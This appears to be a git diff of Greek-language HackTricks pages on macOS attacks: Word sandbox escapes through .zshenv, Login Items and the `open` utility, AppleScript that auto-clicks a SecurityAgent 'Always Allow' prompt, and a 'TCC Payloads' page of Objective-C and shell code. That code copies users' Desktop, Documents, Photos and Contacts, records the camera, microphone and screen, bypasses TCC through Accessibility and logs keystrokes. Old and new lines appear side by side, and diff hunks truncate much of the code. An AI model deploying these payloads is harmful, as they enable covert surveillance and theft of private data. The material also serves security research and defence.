### Παράκαμψη του Sandbox του Word μέσω των Login Items και του .zshenv
### Word Sandbox bypass via Login Items and .zshenv
(Θυμηθείτε ότι από την πρώτη παράκαμψη, το Word μπορεί να γράψει αυθαίρετα αρχεία των οποίων το όνομα ξεκινά με `~$`).
(Θυμήσου ότι από την πρώτη εκμετάλλευση, το Word μπορεί να γράψει αυθαίρετα αρχεία των οποίων το όνομα ξεκινά με `~$`).
Ωστόσο, η προηγούμενη τεχνική είχε μια περιορισμένη λειτουργία,
Ωστόσο, η προηγούμενη τεχνική είχε έναν περιορισμό, αν ο φάκελος **`~/Library/LaunchAgents`** υπάρχει επειδή κάποιο άλλο λογισμικό τον δημιούργησε, θα αποτύχει. Έτσι, ανακαλύφθηκε μια διαφορετική αλυσίδα Login Items για αυτό.
Ένας επιτιθέμενος θα μπορούσε να δημιουργήσει τα αρχεία **`.bash_profile`** και **`.zshenv`** με το payload για εκτέλεση και στη συνέχεια να τα zip-άρει και **να γράψει το zip στον φάκελο του θύματος**: **`~/~$escape.zip`**.
Στη συνέχεια, πρόσθεσε το zip αρχείο στα **Login Items** και στη συνέχεια την εφαρμογή **`Terminal`**. Όταν ο χρήστης ξανασυνδεθεί, το zip αρχείο θα αποσυμπιεστεί στον φάκελο του χρήστη, αντικαθιστώντας τα **`.bash_profile`** και **`.zshenv`** και επομένως, το τερματικό θα εκτελέσει ένα από αυτά τα αρχεία (ανάλογα με το αν χρησιμοποιείται bash ή zsh).
Δες την [**αρχική αναφορά εδώ**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c).
### Word Sandbox Bypass with Open and env variables
Από τις διαδικασίες που είναι sandboxed είναι ακόμα δυνατό να προσκαλέσεις άλλες διαδικασίες χρησιμοποιώντας το **`open`** utility. Επιπλέον, αυτές οι διαδικασίες θα εκτελούνται **μέσα στο δικό τους sandbox**.
Ανακαλύφθηκε ότι το open utility έχει την επιλογή **`--env`** για να εκτελέσει μια εφαρμογή με **συγκεκριμένες env** μεταβλητές. Επομένως, ήταν δυνατό να δημιουργηθεί το **`.zshenv` αρχείο** μέσα σε έναν φάκελο **μέσα** στο **sandbox** και να χρησιμοποιηθεί το `open` με `--env` ρυθμίζοντας τη **μεταβλητή `HOME`** σε αυτόν τον φάκελο ανοίγοντας την εφαρμογή `Terminal`, η οποία θα εκτελέσει το αρχείο `.zshenv` (για κάποιο λόγο ήταν επίσης απαραίτητο να ρυθμιστεί η μεταβλητή `__OSINSTALL_ENVIROMENT`).
Δες την [**αρχική αναφορά εδώ**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/).
### Word Sandbox Bypass with Open and stdin
Το **`open`** utility υποστήριξε επίσης την παράμετρο **`--stdin`** (και μετά την προηγούμενη εκμετάλλευση δεν ήταν πλέον δυνατό να χρησιμοποιηθεί το `--env`).
Το θέμα είναι ότι ακόμα και αν το **`python`** ήταν υπογεγραμμένο από την Apple, **δεν θα εκτελέσει** ένα script με το **`quarantine`** χαρακτηριστικό. Ωστόσο, ήταν δυνατό να του περάσεις ένα script από stdin έτσι ώστε να μην ελέγξει αν ήταν καραντίνα ή όχι:&#x20;
1. Ρίξε ένα **`~$exploit.py`** αρχείο με αυθαίρετες εντολές Python.
2. Εκτέλεσε _open_ **`stdin='~$exploit.py' -a Python`**, το οποίο εκτελεί την εφαρμογή Python με το ρίχτηκε αρχείο μας να χρησιμεύει ως τυπική είσοδος. Η Python εκτελεί ευτυχώς τον κώδικά μας, και καθώς είναι μια παιδική διαδικασία του _launchd_, δεν υπόκειται στους κανόνες sandbox του Word.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,52 +1,56 @@
# macOS Apple Scripts
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Apple Scripts
Είναι μια γλώσσα σεναρίων που χρησιμοποιείται για την αυτοματοποίηση εργασιών **αλληλεπίδρασης με απομακρυσμένες διεργασίες**. Καθιστά αρκετά εύκολο να **ζητήσετε από άλλες διεργασίες να εκτελέσουν κάποιες ενέργειες**. Το **κακόβουλο λογισμικό** μπορεί να καταχραστεί αυτές τις λειτουργίες για να καταχραστεί τις λειτουργίες που εξάγονται από άλλες διεργασίες.\
Για παράδειγμα, ένα κακόβουλο λογισμικό μπορεί να **ενθέσει αυθαίρετο κώδικα JS σε ανοιχτές σελίδες περιήγησης**. Ή να **κάνει αυτόματα κλικ** σε κάποιες άδειες που ζητούνται από τον χρήστη.
Είναι μια γλώσσα scripting που χρησιμοποιείται για αυτοματοποίηση εργασιών **αλληλεπιδρώντας με απομακρυσμένες διαδικασίες**. Διευκολύνει πολύ το **να ζητάμε από άλλες διαδικασίες να εκτελούν κάποιες ενέργειες**. **Malware** μπορεί να εκμεταλλευτεί αυτές τις δυνατότητες για να καταχραστεί λειτουργίες που εξάγονται από άλλες διαδικασίες.\
Για παράδειγμα, ένα malware θα μπορούσε να **εισάγει αυθαίρετο κώδικα JS σε ανοιγμένες σελίδες του προγράμματος περιήγησης**. Ή να **κάνει αυτόματη κλικ** σε κάποιες επιτρεπόμενες άδειες που ζητούνται από τον χρήστη;
```applescript
tell window 1 of process "SecurityAgent"
click button "Always Allow" of group 1
end tell
```
Εδώ έχετε μερικά παραδείγματα: [https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\
Βρείτε περισσότερες πληροφορίες σχετικά με κακόβουλο λογισμικό που χρησιμοποιεί AppleScripts [**εδώ**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/).
Βρείτε περισσότερες πληροφορίες σχετικά με το malware που χρησιμοποιεί applescripts [**εδώ**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/).
Τα Apple scripts μπορούν εύκολα να "**μεταγλωττιστούν**". Αυτές οι εκδόσεις μπορούν εύκολα να "**απομεταγλωττιστούν**" με τη χρήση της εντολής `osadecompile`.
Τα Apple scripts μπορούν να "**συμπιεστούν**" εύκολα. Αυτές οι εκδόσεις μπορούν να "**αποσυμπιεστούν**" εύκολα με το `osadecompile`
Ωστόσο, αυτά τα scripts μπορούν επίσης να εξαχθούν ως "**Μόνο για ανάγνωση**" (μέσω της επιλογής "Εξαγωγή..."):
Ωστόσο, αυτά τα scripts μπορούν επίσης να **εξαχθούν ως "Μόνο για ανάγνωση"** (μέσω της επιλογής "Εξαγωγή..."):
<figure><img src="https://github.com/carlospolop/hacktricks/raw/master/.gitbook/assets/image%20(556).png" alt=""><figcaption></figcaption></figure>
```
file mal.scpt
mal.scpt: AppleScript compiled
```
Ωστόσο, υπάρχουν ακόμα μερικά εργαλεία που μπορούν να χρησιμοποιηθούν για να κατανοήσουν αυτού του είδους τα εκτελέσιμα, [**διαβάστε αυτή την έρευνα για περισσότερες πληροφορίες**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). Το εργαλείο [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) με το [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) θα είναι πολύ χρήσιμο για να κατανοήσετε πώς λειτουργεί το σενάριο.
και σε αυτή την περίπτωση το περιεχόμενο δεν μπορεί να αποσυμπιεστεί ακόμη και με το `osadecompile`
Ωστόσο, υπάρχουν ακόμα μερικά εργαλεία που μπορούν να χρησιμοποιηθούν για να κατανοήσουν αυτούς τους τύπους εκτελέσιμων, [**διαβάστε αυτή την έρευνα για περισσότερες πληροφορίες**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). Το εργαλείο [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) με το [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) θα είναι πολύ χρήσιμο για να κατανοήσετε πώς λειτουργεί το σενάριο.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Συμμετάσχετε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας στο hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,30 +1,28 @@
# macOS TCC Payloads
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### Επιφάνεια εργασίας
### Desktop
* **Δικαίωμα**: Κανένα
* **Entitlement**: Κανένα
* **TCC**: kTCCServiceSystemPolicyDesktopFolder
{% tabs %}
{% tab title="undefined" %}
{% tab title="ObjetiveC" %}
Αντιγράψτε το `$HOME/Desktop` στο `/tmp/desktop`.
{% endtab %}
{% tab title="undefined" %}
```objectivec
#include <syslog.h>
#include <stdio.h>
@ -60,7 +58,6 @@ fclose(stderr); // Close the file stream
{% tab title="Shell" %}
Αντιγράψτε το `$HOME/Desktop` στο `/tmp/desktop`.
```bash
cp -r "$HOME/Desktop" "/tmp/desktop"
```
@ -69,15 +66,12 @@ cp -r "$HOME/Desktop" "/tmp/desktop"
### Έγγραφα
* **Δικαίωμα**: Κανένα
* **Δικαιώματα**: Κανένα
* **TCC**: `kTCCServiceSystemPolicyDocumentsFolder`
{% tabs %}
{% tab title="undefined" %}
{% tab title="ObjetiveC" %}
Αντιγράψτε το `$HOME/Documents` στο `/tmp/documents`.
{% endtab %}
{% tab title="undefined" %}
```objectivec
#include <syslog.h>
#include <stdio.h>
@ -113,7 +107,6 @@ fclose(stderr); // Close the file stream
{% tab title="Shell" %}
Αντιγράψτε το `$HOME/`Documents στο `/tmp/documents`.
```bash
cp -r "$HOME/Documents" "/tmp/documents"
```
@ -122,15 +115,12 @@ cp -r "$HOME/Documents" "/tmp/documents"
### Λήψεις
* **Δικαίωμα**: Κανένα
* **Δικαιώματα**: Κανένα
* **TCC**: `kTCCServiceSystemPolicyDownloadsFolder`
{% tabs %}
{% tab title="undefined" %}
{% tab title="ObjetiveC" %}
Αντιγράψτε το `$HOME/Downloads` στο `/tmp/downloads`.
{% endtab %}
{% tab title="undefined" %}
```objectivec
#include <syslog.h>
#include <stdio.h>
@ -165,8 +155,7 @@ fclose(stderr); // Close the file stream
{% endtab %}
{% tab title="Shell" %}
Αντιγράψτε το `$HOME/Λήψεις` στο `/tmp/λήψεις`.
Αντιγράψτε το `$HOME/Dowloads` στο `/tmp/downloads`.
```bash
cp -r "$HOME/Downloads" "/tmp/downloads"
```
@ -175,15 +164,12 @@ cp -r "$HOME/Downloads" "/tmp/downloads"
### Βιβλιοθήκη Φωτογραφιών
* **Προνόμιο**: `com.apple.security.personal-information.photos-library`
* **Δικαιώματα**: `com.apple.security.personal-information.photos-library`
* **TCC**: `kTCCServicePhotos`
{% tabs %}
{% tab title="undefined" %}
{% tab title="ObjetiveC" %}
Αντιγράψτε το `$HOME/Pictures/Photos Library.photoslibrary` στο `/tmp/photos`.
{% endtab %}
{% tab title="undefined" %}
```objectivec
#include <syslog.h>
#include <stdio.h>
@ -219,7 +205,6 @@ fclose(stderr); // Close the file stream
{% tab title="Shell" %}
Αντιγράψτε το `$HOME/Pictures/Photos Library.photoslibrary` στο `/tmp/photos`.
```bash
cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"
```
@ -228,15 +213,12 @@ cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"
### Επαφές
* **Δικαίωμα**: `com.apple.security.personal-information.addressbook`
* **Δικαιώματα**: `com.apple.security.personal-information.addressbook`
* **TCC**: `kTCCServiceAddressBook`
{% tabs %}
{% tab title="undefined" %}
{% tab title="ObjetiveC" %}
Αντιγράψτε το `$HOME/Library/Application Support/AddressBook` στο `/tmp/contacts`.
{% endtab %}
{% tab title="undefined" %}
```objectivec
#include <syslog.h>
#include <stdio.h>
@ -272,7 +254,6 @@ fclose(stderr); // Close the file stream
{% tab title="Shell" %}
Αντιγράψτε το `$HOME/Library/Application Support/AddressBook` στο `/tmp/contacts`.
```bash
cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"
```
@ -281,11 +262,12 @@ cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"
### Ημερολόγιο
* **Δικαίωμα**: `com.apple.security.personal-information.calendars`
* **Δικαιώματα**: `com.apple.security.personal-information.calendars`
* **TCC**: `kTCCServiceCalendar`
{% tabs %}
{% tab title="ObjectiveC" %}
Αντιγράψτε το `$HOME/Library/Calendars` στο `/tmp/calendars`.
```objectivec
#include <syslog.h>
#include <stdio.h>
@ -317,19 +299,24 @@ NSLog(@"Copy completed successfully.", error);
fclose(stderr); // Close the file stream
}
```
{% endtab %}
{% tab title="Shell" %}
Αντιγράψτε το `$HOME/Library/Calendars` στο `/tmp/calendars`.
```bash
cp -r "$HOME/Library/Calendars" "/tmp/calendars"
```
{% endtab %}
{% endtabs %}
### Κάμερα
* **Δικαιώματα**: `com.apple.security.device.camera`
* **TCC**: `kTCCServiceCamera`
{% tabs %}
{% tab title="undefined" %}
Καταγράψτε ένα βίντεο διάρκειας 3 δευτερολέπτων και αποθηκεύστε το στο **`/tmp/recording.mov`**
{% endtab %}
{% tab title="undefined" %}
{% tab title="ObjetiveC - Εγγραφή" %}
Εγγραφή ενός βίντεο 3 δευτερολέπτων και αποθήκευση στο **`/tmp/recording.mov`**
```objectivec
#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>
@ -407,11 +394,8 @@ fclose(stderr); // Close the file stream
```
{% endtab %}
{% tab title="undefined" %}
Ελέγξτε εάν το πρόγραμμα έχει πρόσβαση στην κάμερα.
{% endtab %}
{% tab title="undefined" %}
{% tab title="ObjectiveC - Έλεγχος" %}
Ελέγξτε αν το πρόγραμμα έχει πρόσβαση στην κάμερα.
```objectivec
#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>
@ -444,8 +428,7 @@ fclose(stderr); // Close the file stream
{% endtab %}
{% tab title="Shell" %}
Λήψη φωτογραφίας με την κάμερα
Βγάλε μια φωτογραφία με την κάμερα
```bash
ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg
```
@ -454,15 +437,12 @@ ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg
### Μικρόφωνο
* **Προνόμιο**: **com.apple.security.device.audio-input**
* **Δικαιώματα**: **com.apple.security.device.audio-input**
* **TCC**: `kTCCServiceMicrophone`
{% tabs %}
{% tab title="undefined" %}
Εγγράψτε 5 δευτερόλεπτα ήχου και αποθηκεύστε το στο `/tmp/recording.m4a`
{% endtab %}
{% tab title="undefined" %}
{% tab title="ObjetiveC - Εγγραφή" %}
Εγγραφή 5 δευτερολέπτων ήχου και αποθήκευση στο `/tmp/recording.m4a`
```objectivec
#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>
@ -561,11 +541,8 @@ fclose(stderr); // Close the file stream
```
{% endtab %}
{% tab title="undefined" %}
Ελέγξτε εάν η εφαρμογή έχει πρόσβαση στο μικρόφωνο.
{% endtab %}
{% tab title="undefined" %}
{% tab title="ObjectiveC - Έλεγχος" %}
Ελέγξτε αν η εφαρμογή έχει πρόσβαση στο μικρόφωνο.
```objectivec
#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>
@ -596,8 +573,7 @@ static void telegram(int argc, const char **argv) {
{% endtab %}
{% tab title="Shell" %}
Καταγράψτε έναν ήχο διάρκειας 5 δευτερολέπτων και αποθηκεύστε τον στο `/tmp/recording.wav`
Καταγράψτε ένα ήχο 5 δευτερολέπτων και αποθηκεύστε τον στο `/tmp/recording.wav`
```bash
# Check the microphones
ffmpeg -f avfoundation -list_devices true -i ""
@ -610,18 +586,15 @@ ffmpeg -f avfoundation -i ":1" -t 5 /tmp/recording.wav
### Τοποθεσία
{% hint style="success" %}
Για να μπορεί μια εφαρμογή να λάβει την τοποθεσία, **πρέπει να είναι ενεργοποιημένες οι Υπηρεσίες Τοποθεσίας** (από τις Ρυθμίσεις Απορρήτου & Ασφάλειας), αλλιώς δεν θα μπορεί να την αποκτήσει.
Για να αποκτήσει μια εφαρμογή την τοποθεσία, **Οι Υπηρεσίες Τοποθεσίας** (από την Ιδιωτικότητα & Ασφάλεια) **πρέπει να είναι ενεργοποιημένες,** αλλιώς δεν θα μπορεί να έχει πρόσβαση σε αυτήν.
{% endhint %}
* **Entitlement**: `com.apple.security.personal-information.location`
* **TCC**: Χορηγήθηκε στο `/var/db/locationd/clients.plist`
* **Δικαιώματα**: `com.apple.security.personal-information.location`
* **TCC**: Χορηγείται στο `/var/db/locationd/clients.plist`
{% tabs %}
{% tab title="undefined" %}
{% tab title="ObjectiveC" %}
Γράψτε την τοποθεσία στο `/tmp/logs.txt`
{% endtab %}
{% tab title="undefined" %}
```objectivec
#include <syslog.h>
#include <stdio.h>
@ -670,23 +643,22 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
```
{% endtab %}
{% tab title="undefined" %}
{% tab title="Shell" %}
Αποκτήστε πρόσβαση στην τοποθεσία
{% endtab %}
{% tab title="undefined" %}
```
???
```
{% endtab %}
{% endtabs %}
### Καταγραφή Οθόνης
* **Δικαιώματα**: Κανένα
* **TCC**: `kTCCServiceScreenCapture`
{% tab title="undefined" %}
{% tabs %}
{% tab title="undefined" %}
{% tab title="ObjectiveC" %}
Καταγράψτε την κύρια οθόνη για 5 δευτερόλεπτα στο `/tmp/screen.mov`
{% endtab %}
{% tab title="undefined" %}
```objectivec
#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>
@ -744,28 +716,21 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
{% tab title="Shell" %}
Καταγράψτε την κύρια οθόνη για 5 δευτερόλεπτα
```bash
screencapture -V 5 /tmp/screen.mov
```
{% endtab %}
{% endtabs %}
{% endtab %}
{% tab title="undefined" %}
#### Προσβασιμότητα
{% endtab %}
### Προσβασιμότητα
{% tab title="undefined" %}
* **Προνόμιο**: Κανένα
* **Δικαιώματα**: Κανένα
* **TCC**: `kTCCServiceAccessibility`
{% endtab %}
{% tab title="undefined" %}
Χρησιμοποιήστε το προνόμιο TCC για να αποδεχθείτε τον έλεγχο του Finder πατώντας το πλήκτρο enter και να παρακάμψετε έτσι το TCC.
{% endtab %}
Χρησιμοποιήστε το δικαίωμα TCC για να αποδεχθείτε τον έλεγχο του Finder πατώντας enter και να παρακάμψετε το TCC με αυτόν τον τρόπο
{% tab title="undefined" %}
{% tabs %}
{% tab title="Αποδοχή TCC" %}
```objectivec
#import <Foundation/Foundation.h>
#import <ApplicationServices/ApplicationServices.h>
@ -820,7 +785,6 @@ return 0;
{% tab title="Keylogger" %}
Αποθηκεύστε τα πατημένα πλήκτρα στο **`/tmp/keystrokes.txt`**
```objectivec
#import <Foundation/Foundation.h>
#import <ApplicationServices/ApplicationServices.h>
@ -928,19 +892,20 @@ return 0;
{% endtabs %}
{% hint style="danger" %}
Η πρόσβαση στην προσβασιμότητα είναι μια πολύ ισχυρή άδεια, μπορείτε να την καταχραστείτε με άλλους τρόπους, για παράδειγμα μπορείτε να πραγματοποιήσετε επίθεση με πληκτρολόγηση μόνο από αυτήν χωρίς να χρειάζεται να καλέσετε το System Events.
**Η προσβασιμότητα είναι μια πολύ ισχυρή άδεια**, θα μπορούσατε να την καταχραστείτε με άλλους τρόπους, για παράδειγμα θα μπορούσατε να εκτελέσετε την **επίθεση πληκτρολογίου** μόνο από αυτήν χωρίς να χρειάζεται να καλέσετε τα System Events.
{% endhint %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,16 +1,17 @@
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
